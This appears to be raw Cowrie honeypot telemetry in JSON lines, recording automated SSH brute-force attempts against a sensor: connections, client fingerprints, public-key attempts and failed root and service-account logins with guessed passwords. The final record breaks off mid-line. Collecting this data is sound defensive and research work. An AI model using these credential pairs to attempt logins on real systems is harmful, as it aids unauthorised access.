{"eventid":"cowrie.login.failed","username":"root","password":"07121985","message":"login attempt [root/07121985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:16:03.890764Z","src_ip":"147.45.199.80","session":"51ed2fd44037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:16:04.990639Z","src_ip":"147.45.199.80","session":"51ed2fd44037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":40042,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9c0a850734e","protocol":"ssh","message":"New connection: 92.207.4.157:40042 (159.203.135.109:22) [session: b9c0a850734e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:16:09.586241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:16:09.589832Z","src_ip":"92.207.4.157","session":"b9c0a850734e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:16:09.688830Z","src_ip":"92.207.4.157","session":"b9c0a850734e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Password","message":"login attempt [ftpuser/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:16:10.111392Z","src_ip":"92.207.4.157","session":"b9c0a850734e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:16:11.210381Z","src_ip":"92.207.4.157","session":"b9c0a850734e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":60762,"dst_ip":"159.203.135.109","dst_port":22,"session":"50bc3e6b1321","protocol":"ssh","message":"New connection: 46.29.234.126:60762 (159.203.135.109:22) [session: 50bc3e6b1321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:19.421391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:19.424542Z","src_ip":"46.29.234.126","session":"50bc3e6b1321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:19.534497Z","src_ip":"46.29.234.126","session":"50bc3e6b1321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mc","message":"login attempt [mcserver/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:20.010025Z","src_ip":"46.29.234.126","session":"50bc3e6b1321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34676,"dst_ip":"159.203.135.109","dst_port":22,"session":"10dd3f54ff33","protocol":"ssh","message":"New connection: 37.233.85.71:34676 (159.203.135.109:22) [session: 10dd3f54ff33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:21.088647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:21.092020Z","src_ip":"37.233.85.71","session":"10dd3f54ff33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:21.123640Z","src_ip":"46.29.234.126","session":"50bc3e6b1321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":58542,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a84ab56001e","protocol":"ssh","message":"New connection: 27.71.230.31:58542 (10.17.0.5:22) [session: 3a84ab56001e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:21.171160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:21.187933Z","src_ip":"27.71.230.31","session":"3a84ab56001e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:21.204871Z","src_ip":"37.233.85.71","session":"10dd3f54ff33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:21.528974Z","src_ip":"27.71.230.31","session":"3a84ab56001e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonechko","message":"login attempt [root/sonechko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:21.546893Z","src_ip":"37.233.85.71","session":"10dd3f54ff33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:22.661813Z","src_ip":"37.233.85.71","session":"10dd3f54ff33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2022","message":"login attempt [root/Admin2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:25.680689Z","src_ip":"27.71.230.31","session":"3a84ab56001e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:27.932655Z","src_ip":"27.71.230.31","session":"3a84ab56001e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":46438,"dst_ip":"159.203.135.109","dst_port":22,"session":"5428488ec8a0","protocol":"ssh","message":"New connection: 92.207.4.157:46438 (159.203.135.109:22) [session: 5428488ec8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:42.401127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:42.404746Z","src_ip":"92.207.4.157","session":"5428488ec8a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:42.505269Z","src_ip":"92.207.4.157","session":"5428488ec8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ewqasdcxz","message":"login attempt [root/123ewqasdcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:42.930196Z","src_ip":"92.207.4.157","session":"5428488ec8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:44.029573Z","src_ip":"92.207.4.157","session":"5428488ec8a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35258,"dst_ip":"10.17.0.5","dst_port":22,"session":"e11a7741a592","protocol":"ssh","message":"New connection: 87.251.79.125:35258 (10.17.0.5:22) [session: e11a7741a592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:52.653152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:52.655184Z","src_ip":"87.251.79.125","session":"e11a7741a592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:52.725916Z","src_ip":"87.251.79.125","session":"e11a7741a592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem199","message":"login attempt [root/artem199] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:52.936191Z","src_ip":"87.251.79.125","session":"e11a7741a592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:17:54.010589Z","src_ip":"87.251.79.125","session":"e11a7741a592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.112.62.144","src_port":55684,"dst_ip":"10.17.0.5","dst_port":22,"session":"084197f4fef3","protocol":"ssh","message":"New connection: 103.112.62.144:55684 (10.17.0.5:22) [session: 084197f4fef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:12.485246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:12.488201Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:12.768343Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:a1:d7:f9:b4:e5:68:3f:3f:6f:93:25:f7:fe:ec:29","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJqtOBgE5FVFra6ybgCJfRxn/A7z6nX4zPGDYj7j6VaPGKwN7S1OBAjPLBKdcegyNeeHTlbJeLGw+GcqxDolL2JLJhzISGSgysITnjJGRFwLF+dBNdYCYeXm2pjIu7YyWd3DETLc9rhDXnbLtcyxbzVkxX+vTtg+3qZSMOWW/2gJAAAAFQCnMt+ZwaJQ/C/T3WjEn5kbOcKbLwAAAIBh+NU//I4eY6IoCZKoFah9JOmeqEj/bQ1YmdqpE6L7hSw9eYkr4TdnF/5KIuRXbdIjphnKpsqdRuXalHWkEG/21fXx7nFemLBp/Xmuh7TeTCUIQNt02aJb0WsVY2KRIl9iQkaYqKLxmPQsmHk5E5Q7C/HfvDQ4H4158jK2wztq4wAAAIBSBOg2ScUFIPuNXXmT41nEoJhOLrR64qy5Ttmli9zolxNEy8x5EK4H+RKL5XPqQ/ENsQMtgCAeww5rbtkVBN0Zk3z6hKZb2sMcP2wjvj+rlNSr19cM3IycDXzhQHpIfEVcT5LiYhf7r5LAMJVkkm3/DO0Krg+Zv3EbPFTJtPkDIA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d8:a1:d7:f9:b4:e5:68:3f:3f:6f:93:25:f7:fe:ec:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:14.026370Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:a1:d7:f9:b4:e5:68:3f:3f:6f:93:25:f7:fe:ec:29","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJqtOBgE5FVFra6ybgCJfRxn/A7z6nX4zPGDYj7j6VaPGKwN7S1OBAjPLBKdcegyNeeHTlbJeLGw+GcqxDolL2JLJhzISGSgysITnjJGRFwLF+dBNdYCYeXm2pjIu7YyWd3DETLc9rhDXnbLtcyxbzVkxX+vTtg+3qZSMOWW/2gJAAAAFQCnMt+ZwaJQ/C/T3WjEn5kbOcKbLwAAAIBh+NU//I4eY6IoCZKoFah9JOmeqEj/bQ1YmdqpE6L7hSw9eYkr4TdnF/5KIuRXbdIjphnKpsqdRuXalHWkEG/21fXx7nFemLBp/Xmuh7TeTCUIQNt02aJb0WsVY2KRIl9iQkaYqKLxmPQsmHk5E5Q7C/HfvDQ4H4158jK2wztq4wAAAIBSBOg2ScUFIPuNXXmT41nEoJhOLrR64qy5Ttmli9zolxNEy8x5EK4H+RKL5XPqQ/ENsQMtgCAeww5rbtkVBN0Zk3z6hKZb2sMcP2wjvj+rlNSr19cM3IycDXzhQHpIfEVcT5LiYhf7r5LAMJVkkm3/DO0Krg+Zv3EbPFTJtPkDIA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:14.028785Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:b3:b2:94:7b:12:30:62:73:70:b6:f3:e9:bb:b4:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK7Dy9BUD+av71UFbBhH8dRd7IprVZf1n0ZLzdP4RfbkTNRFUhZQQ5DoWwqdVp983+oXBo7XO2fZtNLIfysWwKKF4Sv8KGB/LnqcmjpcDyqAwNdalTotz22TlPerIe9PtMPTbtxYcafl1fFtT5rGUK44DKGNmtUhKf+7rnmCvIs0kjJ9nQjAMiifSqZdUcNMc43+x+nLVNi4BlQaIVqYasFmcHGJAL++QiAcOWMiMOSWQjQehnqq2E07tvbURBkX+aV8MTnhgWROHd6T9iNR4Hb5cc+6gBzNSwFnKAxFxjUZfXCN1qKmc1X1FTb618b2fN55cIzRZuVDZ07toy/psVdmUDI/Ml30YZyzu7vPCZJO/lUdZbqYV02L7/iL3GLwpQ/Q35/Y2oYGc2OwkFYB5qYXaBvDoVkAQhQzeIxlygzdNXUcOCiIq2aVW68lWi5Yy4L6j7Pw5Bj4eT3Fnpssyv8dqpYRPat+SAEy1nGLAZDmPHYh6IFnSjsIaFc7JEn6va6NwfdHgclZvDbZnAoJrW26v60eJTCaa9btVfwWeAe+q9Z9zQQXDDt2nU4bEsF6f8eWcoJdvHYeo/K3D2NEbe8U6zk8ZxLRQtbXWhaAubYG7INBw9FaKXqeDi5CLyj3KSzOEyzJ2UbsnmKcefDvvAJ9JPvDnJ0QllODLTp4Xd1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 